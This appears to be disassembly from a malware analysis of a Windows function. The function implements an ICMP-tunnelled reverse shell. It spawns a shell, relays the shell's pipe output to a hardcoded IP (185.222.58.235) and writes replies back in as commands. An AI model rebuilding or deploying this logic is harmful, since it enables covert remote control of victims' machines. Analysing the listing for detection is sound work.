Function at 0x140001a6b
Capabilities:
Read file on windows
Read pipe
Terminate process
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
movabs rax, 0x2e3232322e353831
mov qword [rbp - 0x3f], rax
mov dword [rbp - 0x37], 0x322e3835
mov word [rbp - 0x33], 0x3533
mov byte [rbp - 0x31], 0
mov dword [rbp - 0xc], 0xbb8
mov dword [rbp - 0x10], 0x32
mov dword [rbp - 0x14], 0xa
mov dword [rbp - 0x18], 0x40
mov dword [rbp - 8], 0
call sym.load_deps
test eax, eax
jne 0x140001ae3
lea rcx, str.No_se_ha_podido_cargar_la_libreria_de_ICMP_n
call sym.printf
mov eax, 0xffffffff
jmp 0x140001db0
mov rdx, qword [0x14000d050]
lea rax, [rbp - 0x3f]
mov rcx, rax
call rdx
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 8], 1
je 0x140001b16
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x48]
lea rax, [rbp - 0x80]
mov r8, rcx
mov rcx, rax
call sym.spawn_shell
mov dword [rbp - 8], eax
lea rax, [rbp - 0x58]
mov rcx, rax
call sym.create_icmp_channel
mov rax, qword [rbp - 0x58]
cmp rax, 0xffffffffffffffff
jne 0x140001b4d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.no_se_ha_podido_crear_el_canal_ICMP:__u_n
call sym.printf
mov eax, 0xffffffff
jmp 0x140001db0
mov eax, dword [rbp - 0x18]
add rax, 0x30
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x28], rax
mov eax, dword [rbp - 0x18]
add rax, 0x30
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x28], 0
je 0x140001b81
cmp qword [rbp - 0x30], 0
jne 0x140001b97
lea rcx, str.fallo_en_la_reserva_de_memoria_para_los_buffers_de_transferencia_n
call sym.printf
mov eax, 0xffffffff
jmp 0x140001db0
mov eax, dword [rbp - 0x18]
lea rdx, [rax + 0x30]
mov rax, qword [rbp - 0x28]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp - 0x18]
lea rdx, [rax + 0x30]
mov rax, qword [rbp - 0x30]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 4], 0
cmp dword [rbp - 8], 1
je 0x140001be2
cmp dword [rbp - 8], 2
je 0x140001bfd
jmp 0x140001c18
mov rax, qword [rbp - 0x30]
lea rdx, str.Test1234_n
mov rcx, rax
call sym.sprintf
mov dword [rbp - 0x60], eax
jmp 0x140001cf7
mov rax, qword [rbp - 0x30]
lea rdx, str.El_proceso_no_ha_sido_creado_n
mov rcx, rax
call sym.sprintf
mov dword [rbp - 0x60], eax
jmp 0x140001cf7
mov dword [rbp - 0x60], 0
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x28], 0
lea rdx, [rbp - 0x60]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call rax
test eax, eax
je 0x140001cd2
mov eax, dword [rbp - 0x60]
test eax, eax
je 0x140001cf6
mov dword [rbp - 0x60], 0
mov rax, qword [rbp - 0x48]
lea r8, [rbp - 0x60]
mov ecx, dword [rbp - 0x18]
mov rdx, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
test eax, eax
jne 0x140001cf6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0x3e5
je 0x140001cf6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [rbp - 0x30]
mov r8d, edx
lea rdx, str.Error:_ReadFile_ha_fallado_con_el_error__i_n
mov rcx, rax
call sym.sprintf
mov dword [rbp - 0x60], eax
jmp 0x140001cf6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [rbp - 0x30]
mov r8d, edx
lea rdx, str.Error:_PeekNamedPipe_ha_fallado_con_el_error__i_n
mov rcx, rax
call sym.sprintf
mov dword [rbp - 0x60], eax
nop
mov r9d, dword [rbp - 0x60]
mov rax, qword [rbp - 0x58]
mov r8, qword [rbp - 0x30]
mov edx, dword [rbp - 0x1c]
mov ecx, dword [rbp - 0xc]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rbp - 0x18]
mov dword [rsp + 0x30], ecx
lea rcx, [rbp - 0x5c]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.transfer_icmp
cmp eax, 1
jne 0x140001d6c
cmp dword [rbp - 8], 0
jne 0x140001d63
mov ecx, dword [rbp - 0x5c]
mov rax, qword [rbp - 0x50]
lea r8, [rbp - 0x64]
mov rdx, qword [rbp - 0x28]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp - 4], 0
jmp 0x140001d70
add dword [rbp - 4], 1
mov eax, dword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp - 8], 0
jne 0x140001d90
mov eax, dword [rbp - 4]
cmp eax, dword [rbp - 0x14]
jl 0x140001bd4
cmp dword [rbp - 8], 0
jne 0x140001dab
mov rax, qword [rbp - 0x80]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0
add rsp, 0xc0
pop rbp
ret